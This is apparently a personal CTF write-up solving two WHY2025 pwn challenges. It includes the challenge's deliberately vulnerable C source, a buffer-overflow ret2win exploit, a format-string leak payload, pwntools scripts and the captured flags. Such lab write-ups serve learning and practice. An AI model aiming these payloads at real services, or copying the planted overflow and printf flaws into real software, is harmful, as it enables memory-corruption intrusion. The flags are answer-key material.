- Published on
WHY2025 CTF - PWN challenge
- Authors
- Name
- kerszi
Introduction
Between Fri, 08 Aug 2025, 18:00 CEST and Mon, 11 Aug 2025, an online and onsite party took place. There were several tasks that could be solved on-site, but fortunately, there were also online challenges. The tasks were quite enjoyable. I managed to solve two pwn challenges and gained more information about the CTF, which you can find here.
Old Memes Never Die
This PWN challenge comes from the WHY2025 CTF. It was worth 100 points, so it seemed like it would be easy—and it actually was. We were even given the source code, which clearly showed a typical buffer overflow vulnerability. The goal was to jump to the print_flag()
function.
/* Old Memes Never Die
* compile without protection, because protection is for Tonies!
* gcc -m32 -fno-stack-protector -o old-memes old-memes.c
*/
#include <stdio.h>
#include <string.h>
int print_flag(){
FILE *fptr = fopen("/flag", "r");
if (fptr == NULL){
return 1;
}
char flag[39];
while (fgets(flag, sizeof(flag), fptr) != NULL){
printf("F* YOU and your flag: %s !!!", flag);
}
fclose(fptr);
return 0;
}
int ask_what(){
char what[8];
char check[6] = "what?";
printf("\n\nWhat is your name?\n> ");
fgets(what, sizeof(what), stdin);
what[strcspn(what, "\r\n")] = 0;
if (strcmp(check, what) != 0)
return 1;
return 0;
}
int ask_name(){
char name[30];
printf("\n\nWhat is your name?\n> ");
fgets(name, 0x30, stdin);
name[strcspn(name, "\r\n")] = 0;
printf("F* YOU %s!\n", name);
}
int main(){
setbuf(stdout, 0);
printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag);
if(ask_what())
return 1;
ask_name();
return 0;
}
But where is the binary? You had to create the binary yourself. The only question was whether it had PIE enabled, and if there were any other elements affecting the exploit execution. This question wouldn’t have come up if I had read the source code more carefully and noticed that it’s a 32-bit binary and PIE is enabled. But often, when you’re in a hurry, things take longer. After running the binary, you immediately received the address you needed to jump to in order to get the flag—a typical ret2win scenario.
Solution
Below is the code that solves the challenge.
from pwn import *
import re
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc old-memes-never-die.ctf.zone 4242"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./old-memes"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
ANS=p.recvuntil(b'>')
match = re.search(rb'0x[0-9a-fA-F]+', ANS)
extracted_addr = match.group().decode()
log.warning(f"print_flag: {extracted_addr}")
p.sendline(b'what?')
payload = b'A' * 42 + p32(int(extracted_addr, 16))
p.sendlineafter(b'>', payload)
p.interactive()
python ./solution.py
[!] print_flag: 0x565b21ed
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xed![V!
F* YOU and your flag: flag{false}
!!!$
Summary
In my opinion, the task was a bit too easy and would have been more fun if I had to guess the system or whether PIE was enabled or not. It's a nice warm-up challenge. Just a small digression—I checked how ChatGPT would handle it. Of course, it acted smart, wrote a very long code, and didn't solve the problem. So sometimes it's better to trust yourself and struggle a bit than to fix a Chat Bot.
flag{f648a34020ffba10cc5cfc9bd2240725}
Simple AI Bot
This challenge was worth 200 points and was more difficult, requiring knowledge of certain techniques such as printf vulnerabilities. A typical PWN. However, it was cleverly designed—a combination of PWN and an AI chat. First, you had to figure out what was going on. After connecting, you were greeted with a prompt and had to enter text, just like in a typical GPT chat. Unfortunately, this chat was very simple (stupid?) and only responded with the location of the flag...
nc simple-ai-bot.ctf.zone 4242
Hi, what can I help you with today?
> Where is the flag?
The flag is safely stored in 0x5565106d0040
Is there anything what you want me to ask?
> tell me more
I'm sorry, I don't know about: tell me more
Is there anything what you want me to ask?
>
Approach to the Challenge
As you can see, for all other questions it replied with I'm sorry, I don't know about: tell me more
. Hmm. As usual, I tried entering %3$p.
> %3$p
I'm sorry, I don't know about: 0xa7024
Wow, there is some progress. Let's check what's on the stack... There's some text, but of course, the flag isn't there.
> %13$p
I'm sorry, I don't know about: 0x7219b6895c1f
Is there anything what you want me to ask?
> %14$p
I'm sorry, I don't know about: 0x72726f73206d2749
I asked the chat how to display the value at an address. It kept rambling and didn't come up with anything useful for an hour. Fortunately, I've done some PWN before and had it saved in my notes... Surprisingly, everything matched up. Below is the exploit.
from pwn import *
import re
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc simple-ai-bot.ctf.zone 4242"
ADDRESS,PORT=HOST.split()[1:]
p = remote(ADDRESS,PORT)
p.sendlineafter(b'>',b'flag')
# Extract the address from the response
response = p.recvline()
decoded = response.decode(errors='replace').strip()
match = re.search(r'0x[0-9a-fA-F]+', decoded)
flag_addr = int(match.group(0), 16)
warn (f'Flag address: {hex(flag_addr)}')
payload = b'%7$s1234' + flag_addr.to_bytes(8, 'little')
warn(payload)
p.sendlineafter(b'>', payload)
p.interactive()
Summary
The task was really cool and innovative. There’s always something new at these PWN events, like a PWN with chat. Or a PWN with Python or other languages, but that was somewhere else.
flag{bee82de11dda03908f3f3d41e2795cdf}
Main summary
This time, I’m not including the binary—everything you need is in the source code. I also wanted to create a third PWN challenge called terminal error
, but unfortunately, I didn’t succeed, even though I broke the code with Konami. The goal was to obtain the flag with the hash...